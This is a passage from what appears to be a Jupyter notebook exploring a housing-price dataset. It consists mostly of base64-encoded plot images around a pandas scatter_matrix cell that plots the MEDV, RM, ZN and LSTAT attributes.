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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "from pandas.plotting import scatter_matrix\n", - "\n", - "attributes = [\"MEDV\", \"RM\", \"ZN\", \"LSTAT\"]\n", - "scatter_matrix(housing[attributes], figsize=(12, 8))" - ] - }, - { - "cell_type": "code", - "execution_count": 21, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 21, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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